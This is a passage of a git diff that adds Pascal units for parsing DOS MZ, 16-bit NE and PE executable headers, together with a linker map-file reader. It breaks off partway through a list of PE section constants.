TPseMapFileReader = class + private + FFileName: string; + FStream: TFileStream; + FSkipped: boolean; + FFileType: TMapFileType; + FMangeling: TMangeling; + function ReadLine(Stream: TStream; out Line: string): boolean; + procedure SkipToPublics; + public + constructor Create(const AFileName: string); + destructor Destroy; override; + + function GetNext(out ADebugInfo: TDebugInfoItem): boolean; + end; + +implementation + +function SplitString(const AIn, ADelim: string; var AOut: array of string): integer; +var + CurLine, te: string; + p2: integer; +begin + Result := 0; + if AIn <> '' then begin + CurLine := AIn; + repeat + p2 := Pos(ADelim, CurLine); + if p2 = 0 then + p2 := Length(CurLine) + 1; + te := System.Copy(CurLine, 1, p2 - 1); + System.Delete(CurLine, 1, p2); + AOut[Result] := te; + Inc(Result); + if Result > High(AOut) then + Break; + until CurLine = ''; + end; +end; + +constructor TPseMapFileReader.Create(const AFileName: string); +begin + inherited Create; + FFileName := AFileName; + FStream := TFileStream.Create(FFileName, fmOpenRead or fmShareDenyNone); + FSkipped := false; + FFileType := mftUnknown; + FMangeling := mUnknown; + SkipToPublics; +end; + +destructor TPseMapFileReader.Destroy; +begin + FStream.Free; + inherited; +end; + +function TPseMapFileReader.GetNext(out ADebugInfo: TDebugInfoItem): boolean; +var + ln: string; + p, p2: integer; + sseg, sOffset, sName: string; + iSeg: integer; + iOffset: Int64; +begin + Result := false; + if not FSkipped then + Exit; + + while ReadLine(FStream, ln) do begin + ln := Trim(ln); + if (ln <> '') and (Length(ln) > 15) then begin + //example of some lines: + // 0001:0000035C System.CloseHandle + // 0001:00000380 __acrtused + // Segment:Offset Name + p := Pos(':', ln); + if p <> 0 then begin + sseg := Copy(ln, 1, p-1); + iseg := StrToIntDef(sseg, -1); + if iseg = -1 then + Continue; + + p2 := Pos(' ', ln); + if p2 = 0 then + Continue; + sOffset := Copy(ln, p+1, p2 - p - 1); + iOffset := StrToInt64Def('$' + sOffset, -1); + if iOffset = -1 then + Continue; + + sName := Trim(Copy(ln, p2+1, MaxInt)); + // Success + ADebugInfo.Segment := iseg; + ADebugInfo.Offset := iOffset; + ADebugInfo.Name := sName; + Result := true; + Break; + end; + end; + + end; +end; + +procedure TPseMapFileReader.SkipToPublics; +var + ln: string; +begin + while ReadLine(FStream, ln) do begin + ln := Trim(ln); + if ln <> '' then begin + if Pos('Address', ln) <> 0 then begin + if Pos('Publics by Value', ln) <> 0 then begin + FSkipped := true; + FFileType := mftByValue; + Break; + end else if Pos('Publics by Name', ln) <> 0 then begin + FSkipped := true; + FFileType := mftByName; + Break; + end; + end; + end; + end; +end; + +function TPseMapFileReader.ReadLine(Stream: TStream; out Line: string): boolean; +var + ch: AnsiChar; + RawLine: string; +begin + Result := False; + RawLine := ''; + ch := #0; + while (Stream.Read(ch, 1) = 1) and (ch <> #13) do begin + Result := True; + RawLine := RawLine + Char(ch); + end; + Line := RawLine; + if ch = #13 then begin + Result := True; + if (Stream.Read(ch, 1) = 1) and (ch <> #10) then + Stream.Seek(-1, soFromCurrent); // unread it if not LF character. + end; +end; + +end. diff --git a/Core/pesp/PseMz.pas b/Core/pesp/PseMz.pas new file mode 100644 index 0000000..6e5e293 --- /dev/null +++ b/Core/pesp/PseMz.pas @@ -0,0 +1,91 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseMz; + +interface + +type + // MZ Header + TExeHeader = packed record + Signature: Word; // This is the "magic number" of an EXE file. The + // first byte of the file is 0x4d and the second is 0x5a. + + BytesInLastBlock: Word; // The number of bytes in the last block of the program + // that are actually used. If this value is zero, that + // means the entire last block is used (i.e. the effective value is 512). + + BlocksInFile: Word; // Number of blocks in the file that are part of the EXE file. + // If [02-03] is non-zero, only that much of the last block is used. + + NumRelocs: Word; // Number of relocation entries stored after the header. May be zero. + + HeaderParagraphs: Word; // Number of paragraphs in the header. The program's data begins + // just after the header, and this field can be used to calculate + // the appropriate file offset. The header includes the relocation + // entries. Note that some OSs and/or programs may fail if the header is not a multiple of 512 bytes. + + MinExtraParagraphs: Word; // Number of paragraphs of additional memory that the program will need. + // This is the equivalent of the BSS size in a Unix program. + // The program can't be loaded if there isn't at least this much memory available to it. + + MaxExtraParagraphs: Word; // Maximum number of paragraphs of additional memory. + // Normally, the OS reserves all the remaining conventional memory + // for your program, but you can limit it with this field. + + ss: Word; // Relative value of the stack segment. This value is added to the segment + // the program was loaded at, and the result is used to initialize the SS register. + + sp: Word; // Initial value of the SP register. + + Checksum: Word; // Word checksum. If set properly, the 16-bit sum of all + // words in the file should be zero. Usually, this isn't filled in. + + ip: Word; // Initial value of the IP register. + + cs: Word; // Initial value of the CS register, relative to the segment the program was loaded at. + + RelocTableOffset: Word; // Offset of the first relocation item in the file. + OverlayNumber: Word; // Overlay number. Normally zero, meaning that it's the main program. + end; + + TExeReloc = record + Offset: Word; + Segment: Word; + end; + + // DOS Header + PImageDosHeader = ^TImageDosHeader; + _IMAGE_DOS_HEADER = record { DOS .EXE header } + e_magic: Word; { Magic number } + e_cblp: Word; { Bytes on last page of file } + e_cp: Word; { Pages in file } + e_crlc: Word; { Relocations } + e_cparhdr: Word; { Size of header in paragraphs } + e_minalloc: Word; { Minimum extra paragraphs needed } + e_maxalloc: Word; { Maximum extra paragraphs needed } + e_ss: Word; { Initial (relative) SS value } + e_sp: Word; { Initial SP value } + e_csum: Word; { Checksum } + e_ip: Word; { Initial IP value } + e_cs: Word; { Initial (relative) CS value } + e_lfarlc: Word; { File address of relocation table } + e_ovno: Word; { Overlay number } + e_res: array [0..3] of Word; { Reserved words } + e_oemid: Word; { OEM identifier (for e_oeminfo) } + e_oeminfo: Word; { OEM information; e_oemid specific} + e_res2: array [0..9] of Word; { Reserved words } + _lfanew: LongInt; { File address of new exe header } + end; + TImageDosHeader = _IMAGE_DOS_HEADER; + IMAGE_DOS_HEADER = _IMAGE_DOS_HEADER; + +const + DOS_HEADER_MZ = ((Ord('Z') shl 8) + Ord('M')); + +implementation + +end. diff --git a/Core/pesp/PseMzFile.pas b/Core/pesp/PseMzFile.pas new file mode 100644 index 0000000..9d222ce --- /dev/null +++ b/Core/pesp/PseMzFile.pas @@ -0,0 +1,139 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseMzFile; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, PseFile, PseSection, PseCmn, PseMz; + +type + { + DOS EXE files. + + References + + http://www.delorie.com/djgpp/doc/exe/ + http://www.delorie.com/djgpp/doc/rbinter/it/94/15.html + http://wiki.osdev.org/MZ + http://www.tavi.co.uk/phobos/exeformat.html + http://www.fileformat.info/format/exe/corion-mz.htm + http://blogs.msdn.com/b/oldnewthing/archive/2008/03/24/8332730.aspx + http://stackoverflow.com/questions/3715618/how-does-dos-load-a-program-into-memory + } + TPseMzFile = class(TPseFile) + private + FExeHeader: TExeHeader; + FRelocs: array of TExeReloc; + protected + public + function LoadFromStream(Stream: TStream): boolean; override; + procedure SaveSectionToStream(const ASection: integer; Stream: TStream); override; + function GetFriendlyName: string; override; + function GetArch: TPseArch; override; + function GetMode: TPseMode; override; + + function GetEntryPoint: UInt64; override; + function GetFirstAddr: UInt64; override; + + function GetSizeOfImage: Cardinal; + end; + +implementation + +uses + Math; + +function TPseMzFile.LoadFromStream(Stream: TStream): boolean; +var + i: integer; + sec: TPseSection; +begin + Result := inherited; + if Result then begin + FStream.Position := 0; + if (FStream.Read(FExeHeader, SizeOf(TExeHeader)) <> SizeOf(TExeHeader)) then + Exit(false); + if FExeHeader.Signature <> DOS_HEADER_MZ then + Exit(false); + + // After the header, there follow the relocation items, which are used to span + // multpile segments. + FStream.Seek(FExeHeader.RelocTableOffset, soFromBeginning); + SetLength(FRelocs, FExeHeader.NumRelocs); + for i := 0 to FExeHeader.NumRelocs - 1 do begin + if (FStream.Read(FRelocs[i], SizeOf(TExeReloc)) <> SizeOf(TExeReloc)) then + Exit(false); + end; + + sec := FSections.New; + sec.Name := ChangeFileExt(ExtractFileName(FFilename), ''); + sec.Address := FExeHeader.HeaderParagraphs * 16; + sec.FileOffset := FExeHeader.HeaderParagraphs * 16; + FStream.Seek(sec.FileOffset, soFromBeginning); + sec.Size := GetSizeOfImage; + sec.Attribs := [saCode, saExecuteable, saData, saReadable, saWriteable]; + + FBitness := pseb16; + end; +end; + +function TPseMzFile.GetEntryPoint: UInt64; +begin + // Initial value of IP so this is the entry point + Result := FExeHeader.ip; +end; + +function TPseMzFile.GetFirstAddr: UInt64; +begin + Result := 0; +end; + +function TPseMzFile.GetSizeOfImage: Cardinal; +var + header_size: Cardinal; +begin + header_size := FExeHeader.HeaderParagraphs * 16; + Result := FExeHeader.BlocksInFile * 512 - header_size; + if Result + header_size < 512 then + Result := 512 - header_size; +end; + +procedure TPseMzFile.SaveSectionToStream(const ASection: integer; Stream: TStream); +var + sec: TPseSection; + o, s: Int64; +begin + sec := FSections[ASection]; + o := sec.Address; + FStream.Position := o; + s := Min(Int64(sec.Size), Int64(FStream.Size - o)); + Stream.CopyFrom(FStream, s); +end; + +function TPseMzFile.GetArch: TPseArch; +begin + Result := pseaX86; +end; + +function TPseMzFile.GetMode: TPseMode; +begin + Result := [psem16]; +end; + +function TPseMzFile.GetFriendlyName: string; +begin + Result := 'MZ16'; +end; + +initialization + +end. diff --git a/Core/pesp/PseNe.pas b/Core/pesp/PseNe.pas new file mode 100644 index 0000000..41f614a --- /dev/null +++ b/Core/pesp/PseNe.pas @@ -0,0 +1,163 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseNe; + +interface + +type + // OS/2 .EXE header + PImageOs2Header = ^TImageOs2Header; + _IMAGE_OS2_HEADER = record + ne_magic: Word; // Magic number + ne_ver: Byte; // Version number + ne_rev: Byte; // Revision number + ne_enttab: Word; // Offset of Entry Table + ne_cbenttab: Word; // Number of bytes in Entry Table + ne_crc: LongInt; // Checksum of whole file + ne_flags: Word; // Flag word + ne_autodata: Word; // Automatic data segment number + ne_heap: Word; // Initial heap allocation + ne_stack: Word; // Initial stack allocation + ne_csip: LongInt; // Initial CS:IP setting + ne_sssp: LongInt; // Initial SS:SP setting + ne_cseg: Word; // Count of file segments + ne_cmod: Word; // Entries in Module Reference Table + ne_cbnrestab: Word; // Size of non-resident name table + ne_segtab: Word; // Offset of Segment Table + ne_rsrctab: Word; // Offset of Resource Table + ne_restab: Word; // Offset of resident name table + ne_modtab: Word; // Offset of Module Reference Table + ne_imptab: Word; // Offset of Imported Names Table + ne_nrestab: LongInt; // Offset of Non-resident Names Table + ne_cmovent: Word; // Count of movable entries + ne_align: Word; // Segment alignment shift count + ne_cres: Word; // Count of resource segments + ne_exetyp: Byte; // Target Operating system + ne_flagsothers: Byte; // Other .EXE flags + ne_pretthunks: Word; // offset to return thunks + ne_psegrefbytes: Word; // offset to segment ref. bytes + ne_swaparea: Word; // Minimum code swap area size + ne_expver: array[0..1] of Byte; //Expected windows version (minor first) + end; + TImageOs2Header = _IMAGE_OS2_HEADER; + IMAGE_OS2_HEADER = _IMAGE_OS2_HEADER; + +const + NOAUTODATA = $0000; + SINGLEDATA = $0001; + MULTIPLEDATA = $0002; + ERRORS = $2000; + LIBRARY_MODULE = $8000; + + EXETYPE_UNKNOWN = $0; + EXETYPE_OS2 = $1; + EXETYPE_WINDOWS = $2; + EXETYPE_DOS40 = $3; + EXETYPE_WIN386 = $4; + EXETYPE_BOSS = $5; + + SEGMENTGLAG_TYPE_MASK = $0007; + SEGMENTGLAG_CODE = $0000; + SEGMENTGLAG_DATA = $0001; + SEGMENTGLAG_MOVEABLE = $0010; + SEGMENTGLAG_PRELOAD = $0040; + SEGMENTGLAG_RELOCINFO = $0100; + SEGMENTGLAG_DISCARD = $F000; + + RESTABLEFLAG_MOVEABLE = $0010; + RESTABLEFLAG_PURE = $0020; + RESTABLEFLAG_PRELOAD = $0040; + +type + _EXE_SEGMENTHEADER = record + Offset: Word; + Size: Word; + Flags: Word; + MinAllocSize: Word; + end; + TExeSegmentHeader = _EXE_SEGMENTHEADER; + +const + RELOCTYPE_SOURCE_MASK = $0f; + RELOCTYPE_LOBYTE = $00; + RELOCTYPE_SEGMENT = $02; + RELOCTYPE_FAR_ADDR = $03; + RELOCTYPE_OFFSET = $05; + + RELOCFLAG_TARGET_MASK = $03; + RELOCFLAG_INTERNALREF = $00; + RELOCFLAG_IMPORTORDINAL = $01; + RELOCFLAG_IMPORTNAME = $02; + RELOCFLAG_OSFIXUP = $03; + RELOCFLAG_ADDITIVE = $04; + +type + _RELOC_TABLE = record + // RELOCTYPE_* + RelocType: Byte; + // RELOCFLAG_* + RelocFlag: Byte; + Offset: Word; + InternalRef: record + SegNum: Byte; + _: Byte; + Offset: Word; + end; + ImportName: record + Module: Word; + Name: Word; + end; + ImportOrdinal: record + Module: Word; + Oridnal: Word; + end; + end; + TRelocTable = _RELOC_TABLE; + + _RESIDENT_NAME_TABLE_ENTRY = record + Size: Byte; + Name: Byte; + Ordinal: Word; + end; + TResidentNameTableEntry = _RESIDENT_NAME_TABLE_ENTRY; + + _IMPORTED_NAME_TABLE_ENTRY = record + Size: Byte; + Name: Byte; + end; + TImportedNameTableEntry = _IMPORTED_NAME_TABLE_ENTRY; + + _RESOURCE_BLOCK = record + TypeId: Word; + Count: Word; + Reserved: Cardinal; + end; + TResourceBlock = _RESOURCE_BLOCK; + _RESOURCE_TABLE = record + FileOffset: Word; + Length: Word; + Flag: Word; + ResourceId: Word; + Reserved: Cardinal; + end; + TResouceTable = _RESOURCE_TABLE; + + _RESOURCE_TABLE_ENTRY = record + AlignShift: Word; + Block: TResourceBlock; + SizeOfTypeName: Byte; + Text: Byte; + end; + TResourceTableEntry = _RESOURCE_TABLE_ENTRY; + +const + IMAGE_OS2_SIGNATURE = ((Ord('E') shl 8) + Ord('N')); + IMAGE_OS2_SIGNATURE_LE = ((Ord('E') shl 8) + Ord('L')); + +implementation + +end. diff --git a/Core/pesp/PseNeFile.pas b/Core/pesp/PseNeFile.pas new file mode 100644 index 0000000..384e441 --- /dev/null +++ b/Core/pesp/PseNeFile.pas @@ -0,0 +1,312 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseNeFile; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, PseFile, PseSection, PseImportTable, PseCmn, PseMz, PseNe, + PseResource; + +type + { + Windows NE files. + + 16 Bit Windows EXE file. + + References + + Micosoft. Executeable-file Header Format. Microsoft, February 1999. + <ftp://ftp.microsoft.com/MISC1/DEVELOPR/WIN_DK/KB/Q65/1/22.TXT> + + <http://www.nondot.org/sabre/os/files/Executables/EXE-3.1.txt> + + <http://wiki.osdev.org/NE> + + <http://www.fileformat.info/format/exe/corion-ne.htm> + } + TPseNeFile = class(TPseFile) + private + FDosHeader: TImageDosHeader; + FOs2Header: TImageOs2Header; + procedure ReadSections; + procedure ReadImports; + procedure ReadExports; + procedure ReadResources; + protected + public + function LoadFromStream(Stream: TStream): boolean; override; + procedure SaveSectionToStream(const ASection: integer; Stream: TStream); override; + function GetFriendlyName: string; override; + function GetArch: TPseArch; override; + function GetMode: TPseMode; override; + + function GetEntryPoint: UInt64; override; + function GetFirstAddr: UInt64; override; + + property DosHeader: TImageDosHeader read FDosHeader; + property Os2Header: TImageOs2Header read FOs2Header; + end; + +function GetFlagsString(const AFlags: Word): string; +function GetExeTypeString(const AType: Byte): string; +function GetSecCharacteristicsString(const AFlags: Word): string; + +implementation + +uses + Math; + +function GetSecCharacteristicsString(const AFlags: Word): string; +begin + Result := ''; + if (AFlags and SEGMENTGLAG_CODE) = SEGMENTGLAG_CODE then + Result := Result + 'CODE | '; + if (AFlags and SEGMENTGLAG_DATA) = SEGMENTGLAG_DATA then + Result := Result + 'DATA | '; + if (AFlags and SEGMENTGLAG_MOVEABLE) = SEGMENTGLAG_MOVEABLE then + Result := Result + 'MOVEABLE | '; + if (AFlags and SEGMENTGLAG_PRELOAD) = SEGMENTGLAG_PRELOAD then + Result := Result + 'PRELOAD | '; + if (AFlags and SEGMENTGLAG_RELOCINFO) = SEGMENTGLAG_RELOCINFO then + Result := Result + 'RELOCINFO | '; + if (AFlags and SEGMENTGLAG_DISCARD) = SEGMENTGLAG_DISCARD then + Result := Result + 'DISCARD | '; + + if Result <> '' then + Delete(Result, Length(Result) - 2, MaxInt); +end; + +function GetFlagsString(const AFlags: Word): string; +begin + Result := ''; + if (AFlags and NOAUTODATA) = NOAUTODATA then + Result := Result + 'NOAUTODATA | '; + if (AFlags and SINGLEDATA) = SINGLEDATA then + Result := Result + 'SINGLEDATA | '; + if (AFlags and MULTIPLEDATA) = MULTIPLEDATA then + Result := Result + 'MULTIPLEDATA | '; + if (AFlags and ERRORS) = ERRORS then + Result := Result + 'ERRORS | '; + if (AFlags and LIBRARY_MODULE) = LIBRARY_MODULE then + Result := Result + 'LIBRARY_MODULE | '; + + if Result <> '' then + Delete(Result, Length(Result) - 2, MaxInt); +end; + +function GetExeTypeString(const AType: Byte): string; +begin + case AType of + EXETYPE_UNKNOWN: Result := 'Unknown'; + EXETYPE_OS2: Result := 'OS/2'; + EXETYPE_WINDOWS: Result := 'Windows'; + EXETYPE_DOS40: Result := 'MS-DOS 4.0'; + EXETYPE_WIN386: Result := 'Windows 386'; + EXETYPE_BOSS: Result := 'BOSS'; + else + Result := 'Unknown'; + end; +end; + +function TPseNeFile.LoadFromStream(Stream: TStream): boolean; +begin + Result := inherited; + if Result then begin + FStream.Position := 0; + if (FStream.Read(FDosHeader, SizeOf(TImageDosHeader)) <> SizeOf(TImageDosHeader)) then + Exit(false); + if FDosHeader.e_magic <> DOS_HEADER_MZ then + Exit(false); + + FStream.Seek(FDosHeader._lfanew, soFromBeginning); + if FStream.Read(FOs2Header, SizeOf(FOs2Header)) <> SizeOf(FOs2Header) then + Exit(false); + if (FOs2Header.ne_magic <> IMAGE_OS2_SIGNATURE) then + Exit(false); + + FBitness := pseb16; + + ReadSections; + ReadResources; + ReadExports; + ReadImports; + Result := true; + end; +end; + +procedure TPseNeFile.ReadResources; +var + entry: TResourceBlock; + res_table: TResouceTable; + i: integer; + offset: Integer; + res: TPseResource; + res_align: Word; +begin + // RESOURCE TABLE + offset := FOs2Header.ne_rsrctab + FDosHeader._lfanew; + FStream.Seek(offset, soFromBeginning); + FStream.Read(res_align, 2); + + while (true) do begin + if (FStream.Read(entry, SizeOf(TResourceBlock)) <> SizeOf(TResourceBlock)) then + Break; + if entry.TypeId = 0 then + Break; + + for i := 0 to entry.Count - 1 do begin + FStream.Read(res_table, SizeOf(res_table)); + res := FResources.New; + res.ResType := entry.TypeId; + res.ResId := res_table.ResourceId; + res.Offset := res_table.FileOffset shl res_align; + res.Size := res_table.Length shl res_align; + end; + end; +end; + +procedure TPseNeFile.ReadExports; +begin + // RESIDENT-NAME TABLE + FExports.Clear; +end; + +procedure TPseNeFile.ReadImports; +var + i: integer; + offset: Word; + offsets: TList; + next_offset: Word; + string_len: Byte; + name: array[0..MAXBYTE-1] of AnsiChar; + import_obj: TPseImport; + imp_api: TPseApi; +begin + FImports.Clear; + FStream.Seek(FOs2Header.ne_modtab + FDosHeader._lfanew, soFromBeginning); + offsets := TList.Create; + try + // Each entry contains an offset for the module-name string within the imported- + // names table; each entry is 2 bytes long. + for i := 0 to FOs2Header.ne_cmod - 1 do begin + // Offset within Imported Names Table to referenced module name + // string. + FStream.Read(offset, SizeOf(Word)); + offsets.Add(Pointer(offset)); + end; + + for i := 0 to offsets.Count - 1 do begin + // This table contains the names of modules and procedures that are imported + // by the executable file. Each entry is composed of a 1-byte field that + // contains the length of the string, followed by any number of characters. + // The strings are not null-terminated and are case sensitive. + FStream.Seek(FOs2Header.ne_imptab + FDosHeader._lfanew + Word(offsets[i]), soFromBeginning); + FStream.Read(string_len, SizeOf(Byte)); + FillChar(name, MAXBYTE, 0); + FStream.Read(name, string_len); + import_obj := FImports.New; + import_obj.DllName := string(StrPas(PAnsiChar(@name))); + if i < offsets.Count - 1 then + next_offset := FOs2Header.ne_imptab + FDosHeader._lfanew + Word(offsets[i+1]) + else + next_offset := FOs2Header.ne_enttab + FDosHeader._lfanew; + + while FStream.Position < next_offset do begin + FStream.Read(string_len, SizeOf(Byte)); + FillChar(name, MAXBYTE, 0); + FStream.Read(name, string_len); + imp_api := import_obj.New; + imp_api.Name := string(StrPas(PAnsiChar(@name))); + end; + + end; + finally + offsets.Free; + end; +end; + +procedure TPseNeFile.ReadSections; +var + i: integer; + seg_header: TExeSegmentHeader; + sec: TPseSection; + attribs: TSectionAttribs; +begin + FSections.Clear; + FStream.Seek(FOs2Header.ne_segtab + FDosHeader._lfanew, soFromBeginning); + for i := 0 to FOs2Header.ne_autodata - 1 do begin + if (FStream.Read(seg_header, SizeOf(TExeSegmentHeader)) <> SizeOf(TExeSegmentHeader)) then + Break; + attribs := []; + sec := FSections.New; + sec.Name := Format('Segment %d', [i+1]); + sec.Address := seg_header.Offset; + sec.FileOffset := seg_header.Offset; + if seg_header.Size <> 0 then + sec.Size := seg_header.Size + else + sec.Size := 64 * 1024; // Zero means 64K. + sec.OrigAttribs := seg_header.Flags; + + if (seg_header.Flags and SEGMENTGLAG_CODE) = SEGMENTGLAG_CODE then begin + Include(attribs, saCode); + Include(attribs, saExecuteable); + end; + if (seg_header.Flags and SEGMENTGLAG_DATA) = SEGMENTGLAG_DATA then begin + Include(attribs, saData); + if (seg_header.Flags and SEGMENTGLAG_PRELOAD) = SEGMENTGLAG_PRELOAD then + Include(attribs, saReadable); + end; + sec.Attribs := attribs; + end; +end; + +function TPseNeFile.GetEntryPoint: UInt64; +begin + Result := FOs2Header.ne_csip mod 65536; +end; + +function TPseNeFile.GetFirstAddr: UInt64; +begin + Result := 0; +end; + +procedure TPseNeFile.SaveSectionToStream(const ASection: integer; Stream: TStream); +var + sec: TPseSection; + o, s: Int64; +begin + sec := FSections[ASection]; + o := sec.Address; + FStream.Position := o; + s := Min(Int64(sec.Size), Int64(FStream.Size - o)); + Stream.CopyFrom(FStream, s); +end; + +function TPseNeFile.GetArch: TPseArch; +begin + Result := pseaX86; +end; + +function TPseNeFile.GetMode: TPseMode; +begin + Result := [psem16]; +end; + +function TPseNeFile.GetFriendlyName: string; +begin + Result := 'NE16'; +end; + +initialization + +end. diff --git a/Core/pesp/PseObjFile.pas b/Core/pesp/PseObjFile.pas new file mode 100644 index 0000000..1cd9369 --- /dev/null +++ b/Core/pesp/PseObjFile.pas @@ -0,0 +1,31 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseObjFile; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, PseFile; + +type + { + COFF OBJ files. + } + TPseObjFile = class(TPseFile) + + end; + +implementation + +initialization +// TSadFile.RegisterFile(TObjFile, 2); + +end. diff --git a/Core/pesp/PsePe.pas b/Core/pesp/PsePe.pas new file mode 100644 index 0000000..2a3c83c --- /dev/null +++ b/Core/pesp/PsePe.pas @@ -0,0 +1,699 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PsePe; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils; + +const + IMAGE_SUBSYSTEM_UNKNOWN = 0; { Unknown subsystem. } + IMAGE_SUBSYSTEM_NATIVE = 1; { Image doesn't require a subsystem. } + IMAGE_SUBSYSTEM_WINDOWS_GUI = 2; { Image runs in the Windows GUI subsystem. } + IMAGE_SUBSYSTEM_WINDOWS_CUI = 3; { Image runs in the Windows character subsystem. } + IMAGE_SUBSYSTEM_OS2_CUI = 5; { image runs in the OS/2 character subsystem. } + IMAGE_SUBSYSTEM_POSIX_CUI = 7; { image run in the Posix character subsystem. } + IMAGE_SUBSYSTEM_RESERVED8 = 8; { image run in the 8 subsystem. } + IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9; + IMAGE_SUBSYSTEM_EFI_APPLICATION = 10; + IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11; + IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12; + IMAGE_SUBSYSTEM_EFI_ROM = 13; + IMAGE_SUBSYSTEM_XBOX = 15; + + IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA = $0020; + IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = $0040; + IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY = $0080; + IMAGE_DLLCHARACTERISTICS_NX_COMPAT = $0100; + IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = $0200; + IMAGE_DLLCHARACTERISTICS_NO_SEH = $0400; + IMAGE_DLLCHARACTERISTICS_NO_BIND = $0800; + IMAGE_DLLCHARACTERISTICS_APPCONTAINER = $1000; + IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = $2000; + IMAGE_DLLCHARACTERISTICS_GUARD_CF = $4000; + IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = $8000; + + IMAGE_LIBRARY_PROCESS_INIT = $1; { Reserved. } + IMAGE_LIBRARY_PROCESS_TERM = $2; { Reserved. } + IMAGE_LIBRARY_THREAD_INIT = $4; { Reserved. } + IMAGE_LIBRARY_THREAD_TERM = $8; { Reserved. } + + IMAGE_DIRECTORY_ENTRY_EXPORT = 0; { Export Directory } + IMAGE_DIRECTORY_ENTRY_IMPORT = 1; { Import Directory } + IMAGE_DIRECTORY_ENTRY_RESOURCE = 2; { Resource Directory } + IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3; { Exception Directory } + IMAGE_DIRECTORY_ENTRY_SECURITY = 4; { Security Directory } + IMAGE_DIRECTORY_ENTRY_BASERELOC = 5; { Base Relocation Table } + IMAGE_DIRECTORY_ENTRY_DEBUG = 6; { Debug Directory } + IMAGE_DIRECTORY_ENTRY_COPYRIGHT = 7; { Description String } + IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8; { Machine Value (MIPS GP) } + IMAGE_DIRECTORY_ENTRY_TLS = 9; { TLS Directory } + IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10; { Load Configuration Directory } + IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11; { Bound Import Directory in headers } + IMAGE_DIRECTORY_ENTRY_IAT = 12; { Import Address Table } + IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13; { Delay Load Import Descriptors } + IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14; { COM Runtime descriptor } + + IMAGE_FILE_RELOCS_STRIPPED = $0001; { Relocation info stripped from file. } + IMAGE_FILE_EXECUTABLE_IMAGE = $0002; { File is executable (i.e. no unresolved externel references). } + IMAGE_FILE_LINE_NUMS_STRIPPED = $0004; { Line nunbers stripped from file. } + IMAGE_FILE_LOCAL_SYMS_STRIPPED = $0008; { Local symbols stripped from file. } + IMAGE_FILE_AGGRESIVE_WS_TRIM = $0010; { Agressively trim working set } + IMAGE_FILE_LARGE_ADDRESS_AWARE = $0020; { App can handle >2gb addresses } + IMAGE_FILE_BYTES_REVERSED_LO = $0080; { Bytes of machine word are reversed. } + IMAGE_FILE_32BIT_MACHINE = $0100; { 32 bit word machine. } + IMAGE_FILE_DEBUG_STRIPPED = $0200; { Debugging info stripped from file in .DBG file } + IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP = $0400; { If Image is on removable media, copy and run from the swap file. } + IMAGE_FILE_NET_RUN_FROM_SWAP = $0800; { If Image is on Net, copy and run from the swap file. } + IMAGE_FILE_SYSTEM = $1000; { System File. } + IMAGE_FILE_DLL = $2000; { File is a DLL. } + IMAGE_FILE_UP_SYSTEM_ONLY = $4000; { File should only be run on a UP machine } + IMAGE_FILE_BYTES_REVERSED_HI = $8000; { Bytes of machine word are reversed. } + + IMAGE_FILE_MACHINE_UNKNOWN = 0; + IMAGE_FILE_MACHINE_I386 = $14c; { Intel 386. } + IMAGE_FILE_MACHINE_R3000 = $162; { MIPS little-endian, 0x160 big-endian } + IMAGE_FILE_MACHINE_R4000 = $166; { MIPS little-endian } + IMAGE_FILE_MACHINE_R10000 = $168; { MIPS little-endian } + IMAGE_FILE_MACHINE_ALPHA = $184; { Alpha_AXP } + IMAGE_FILE_MACHINE_POWERPC = $1F0; { IBM PowerPC Little-Endian } + IMAGE_FILE_MACHINE_IA64 = $0200; { Intel 64 } + IMAGE_FILE_MACHINE_ALPHA64 = $0284; { Alpha_64 } + IMAGE_FILE_MACHINE_AMD64 = $8664; { AMD64 (K8) } + + IMAGE_SCN_TYPE_NO_PAD = $00000008; { Reserved. } + IMAGE_SCN_CNT_CODE = $00000020; { Section contains code. } + IMAGE_SCN_CNT_INITIALIZED_DATA = $00000040; { Section contains initialized data. } + IMAGE_SCN_CNT_UNINITIALIZED_DATA = $00000080; { Section contains uninitialized data. } + + IMAGE_SCN_LNK_OTHER = $00000100; { Reserved. } + IMAGE_SCN_LNK_INFO = $00000200; { Section contains comments or some other type of information. } + IMAGE_SCN_LNK_REMOVE = $00000800; { Section contents will not become part of image. } + IMAGE_SCN_LNK_COMDAT = $00001000; { Section contents comdat. } + + IMAGE_SCN_MEM_FARDATA = $00008000; + IMAGE_SCN_MEM_PURGEABLE = $00020000; + IMAGE_SCN_MEM_16BIT = $00020000; + IMAGE_SCN_MEM_LOCKED = $00040000; + IMAGE_SCN_MEM_PRELOAD = $00080000; + + IMAGE_SCN_ALIGN_1BYTES = $00100000; + IMAGE_SCN_ALIGN_2BYTES = $00200000; + IMAGE_SCN_ALIGN_4BYTES = $00300000; + IMAGE_SCN_ALIGN_8BYTES = $00400000; + IMAGE_SCN_ALIGN_16BYTES = $00500000; { Default alignment if no others are specified. } + IMAGE_SCN_ALIGN_32BYTES = $00600000; + 